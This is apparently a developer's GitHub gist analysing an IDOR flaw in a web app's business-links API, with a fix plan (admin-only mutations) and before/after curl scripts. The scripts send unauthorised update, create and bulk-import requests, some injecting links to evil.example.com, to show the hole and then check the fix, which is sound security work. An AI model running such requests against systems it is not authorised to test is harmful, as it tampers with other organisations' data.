Created
April 28, 2026 04:08
-
-
Save allan-gar2x/40e6006c44c4eb96a89705c5ab7af1fc to your computer and use it in GitHub Desktop.
Issue #7716: business-links IDOR — analysis, test scripts, and fix plan
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Issue #7716: business-links IDOR — Analysis, Test Scripts & Fix Plan | |
| ## Issue Summary | |
| **IDOR vulnerability**: All 5 mutation endpoints on `business-links` and `business-links/category` perform **zero authorization checks**. Any authenticated user can create, update, delete, or bulk-import any research link/category — including ones they didn't create and across all organizations. | |
| --- | |
| ## Root Cause | |
| The `baseApi()` middleware handles auth (JWT/API key), so the user **is** authenticated. But none of the handlers check **who** the user is before allowing mutations. The `ResearchLink` and `ResearchLinkCategory` models have no `userId` or `organizationId` fields, so there's nothing to scope against. | |
| ### Vulnerable operations | |
| | Endpoint | Method | Issue | | |
| |---|---|---| | |
| | `/api/business-links` | POST | Any user can create | | |
| | `/api/business-links/[id]` | PUT | Any user can update **any** link by ID | | |
| | `/api/business-links/[id]` | DELETE | Any user can delete **any** link | | |
| | `/api/business-links/category` | POST | Any user can create categories | | |
| | `/api/business-links/category/[id]` | PUT | Any user can update **any** category | | |
| | `/api/business-links/category/[id]` | DELETE | Any user can delete **any** category | | |
| | `/api/business-links/import` | POST | Any user can bulk-import/overwrite global data | | |
| GET (read) endpoints are intentionally global — those are fine. | |
| --- | |
| ## Recommended Fix: Option B (Admin-only mutations) | |
| The existing pattern already exists at `apps/client/pages/api/settings/update.ts:16`: | |
| ```ts | |
| if (!req.user.isAdmin) throw new ForbiddenError('Permission denied'); | |
| ``` | |
| This is the right call because: | |
| - The data model has no ownership fields — no migration needed | |
| - Research links are a curated global resource, not user-owned data | |
| - Option A (org-scoped) would require a schema migration + backfill | |
| - Option B is one line per mutation handler | |
| **Reads (`GET`) stay open** to all authenticated users — no change there. | |
| --- | |
| ## Files to Change (5 files) | |
| ``` | |
| apps/client/pages/api/business-links/[id].ts — add admin check to PUT + DELETE | |
| apps/client/pages/api/business-links/index.ts — add admin check to POST | |
| apps/client/pages/api/business-links/category/[id].ts — add admin check to PUT + DELETE | |
| apps/client/pages/api/business-links/category/index.ts — add admin check to POST | |
| apps/client/pages/api/business-links/import.ts — add admin check to POST | |
| ``` | |
| Each file needs: | |
| 1. Add `import { ForbiddenError } from '@server/utils/errors';` | |
| 2. First line inside every mutation handler: `if (!req.user.isAdmin) throw new ForbiddenError('Permission denied');` | |
| --- | |
| ## Before Test (confirm the vulnerability on staging) | |
| ```bash | |
| #!/usr/bin/env bash | |
| # Before test — proves IDOR exists. Run against staging. | |
| # Usage: BASE_URL=https://app.staging.bike4mind.com TOKEN=<non-admin-jwt> bash before-test.sh | |
| BASE_URL="${BASE_URL:-https://app.staging.bike4mind.com}" | |
| TOKEN="${TOKEN:-your-non-admin-token-here}" | |
| echo "=== 1. List links to grab an ID ===" | |
| LINK_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \ | |
| "$BASE_URL/api/business-links?pageSize=1" | jq -r '.data[0]._id') | |
| echo "Using link ID: $LINK_ID" | |
| echo "" | |
| echo "=== 2. UPDATE any link (IDOR — should fail but won't) ===" | |
| curl -s -X PUT \ | |
| -H "Authorization: Bearer $TOKEN" \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"name":"HACKED by non-admin"}' \ | |
| "$BASE_URL/api/business-links/$LINK_ID" | |
| echo "" | |
| echo "=== 3. CREATE a link (no admin required — should fail but won't) ===" | |
| curl -s -X POST \ | |
| -H "Authorization: Bearer $TOKEN" \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"name":"Injected Link","url":"https://evil.example.com"}' \ | |
| "$BASE_URL/api/business-links" | |
| echo "" | |
| echo "=== 4. IMPORT bulk data (no admin required — should fail but won't) ===" | |
| curl -s -X POST \ | |
| -H "Authorization: Bearer $TOKEN" \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"csv":"name,ticker,url,type,categoryName,categoryDescription\nEvilCorp,EVIL,https://evil.example.com,test,TestCat,TestDesc"}' \ | |
| "$BASE_URL/api/business-links/import" | |
| echo "" | |
| echo "EXPECTED (before fix): All requests above return 200/201 — confirming the vulnerability." | |
| ``` | |
| **What to look for**: Steps 2, 3, and 4 return `200`/`201` with data — proving the bug. | |
| --- | |
| ## After Test (verify the fix on PR preview) | |
| ```bash | |
| #!/usr/bin/env bash | |
| # After test — proves IDOR is fixed. Run against the PR preview env. | |
| # Usage: BASE_URL=https://app.pr<N>.preview.bike4mind.com TOKEN=<non-admin-jwt> bash after-test.sh | |
| BASE_URL="${BASE_URL:-https://app.pr123.preview.bike4mind.com}" | |
| TOKEN="${TOKEN:-your-non-admin-token-here}" | |
| echo "=== 1. List links (still open — should return 200) ===" | |
| curl -s -o /dev/null -w "GET /api/business-links → HTTP %{http_code}\n" \ | |
| -H "Authorization: Bearer $TOKEN" \ | |
| "$BASE_URL/api/business-links?pageSize=1" | |
| LINK_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \ | |
| "$BASE_URL/api/business-links?pageSize=1" | jq -r '.data[0]._id') | |
| echo "" | |
| echo "=== 2. UPDATE any link (should now return 403) ===" | |
| curl -s -o /dev/null -w "PUT /api/business-links/$LINK_ID → HTTP %{http_code}\n" \ | |
| -X PUT \ | |
| -H "Authorization: Bearer $TOKEN" \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"name":"HACKED by non-admin"}' \ | |
| "$BASE_URL/api/business-links/$LINK_ID" | |
| echo "" | |
| echo "=== 3. CREATE a link (should now return 403) ===" | |
| curl -s -o /dev/null -w "POST /api/business-links → HTTP %{http_code}\n" \ | |
| -X POST \ | |
| -H "Authorization: Bearer $TOKEN" \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"name":"Injected Link","url":"https://evil.example.com"}' \ | |
| "$BASE_URL/api/business-links" | |
| echo "" | |
| echo "=== 4. IMPORT bulk data (should now return 403) ===" | |
| curl -s -o /dev/null -w "POST /api/business-links/import → HTTP %{http_code}\n" \ | |
| -X POST \ | |
| -H "Authorization: Bearer $TOKEN" \ | |
| -H "Content-Type: application/json" \ | |
| -d '{"csv":"name,ticker,url,type,categoryName,categoryDescription\nEvilCorp,EVIL,https://evil.example.com,test,TestCat,TestDesc"}' \ | |
| "$BASE_URL/api/business-links/import" | |
| echo "" | |
| echo "EXPECTED (after fix): Steps 2, 3, 4 return HTTP 403. Step 1 returns HTTP 200." | |
| ``` | |
| **What to look for**: Steps 2–4 return `403 Forbidden`. Step 1 (read) still returns `200` — confirming reads are unaffected. | |
| --- | |
| ## References | |
| - GitHub Issue: https://github.com/MillionOnMars/lumina5/issues/7716 | |
| - Existing admin-check pattern: `apps/client/pages/api/settings/update.ts:16` | |
| - Error helper: `apps/client/server/utils/errors.ts` → `ForbiddenError` |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment